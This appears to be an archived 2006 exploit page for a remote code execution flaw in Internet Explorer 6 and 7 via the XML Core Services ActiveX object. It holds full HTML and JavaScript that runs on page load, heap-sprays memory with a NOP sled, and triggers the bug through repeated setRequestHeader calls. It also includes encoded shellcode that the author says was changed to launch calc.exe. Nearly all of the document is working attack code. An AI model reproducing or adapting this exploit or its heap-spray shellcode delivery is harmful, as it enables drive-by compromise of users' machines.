MS Internet Explorer 6-7 (XML Core Services) Remote Code Exec Exploit
2006-11-08 00:00:00<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus 2.0//EN">
<!--
MS Internet Explorer 6/7 (XML Core Services) Remote Code Execution Exploit
Author: n/a
Info:
http://blogs.securiteam.com/index.php/archives/721
http://isc.sans.org/diary.php?storyid=1823
http://xforce.iss.net/xforce/alerts/id/239
Found in the wild and was pointed out on securiteam's blog (cheers Gadi Evron!)
Changed up the shellcode so it wouldn't be as evil for the viewers, calc.exe is called.
/str0ke
-->
<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<object id=target classid="CLSID:{88d969c5-f192-11d4-a65f-0040963251e5}" >
</object>
<script>
var obj = null;
function exploit() {
obj = document.getElementById('target').object;
try {
obj.open(new Array(),new Array(),new Array(),new Array(),new Array());
} catch(e) {};
sh = unescape ("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" +
"%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +
"%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" +
"%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" +
"%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" +
"%uFF57%u63E7%u6C61%u0063");
sz = sh.length * 2;
npsz = 0x400000-(sz+0x38);
nps = unescape ("%u0D0D%u0D0D");
while (nps.length*2<npsz) nps+=nps;
ihbc = (0x12000000-0x400000)/0x400000;
mm = new Array();
for (i=0;i<ihbc;i++) mm[i] = nps+sh;
obj.open(new Object(),new Object(),new Object(),new Object(), new Object());
obj.setRequestHeader(new Object(),'......');
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
}
</script>
<body onLoad='exploit()' value='Exploit'>
</body></html>
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Fixes
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